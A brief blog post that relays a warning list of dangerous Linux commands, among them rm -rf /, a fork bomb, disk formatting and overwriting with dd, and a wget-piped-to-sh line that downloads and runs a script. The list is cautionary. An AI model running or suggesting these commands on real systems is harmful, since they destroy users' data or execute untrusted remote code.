Being a command line junky, I thought I’d share this fun little article I found the other day from @chrisbhoffman – 8 Deadly Commands You Should Never Run on Linux.
rm -rf / – Deletes Everything!
:(){ :|: & };: – Fork Bomb
mkfs.ext4 /dev/sda1 – Formats a Hard Drive
command > /dev/sda – Writes Directly to a Hard Drive
dd if=/dev/random of=/dev/sda – Writes Junk Onto a Hard Drive
mv ~ /dev/null – Moves Your Home Directory to a Black Hole
wget http://example.com/something -O – | sh – Downloads and Runs a Script
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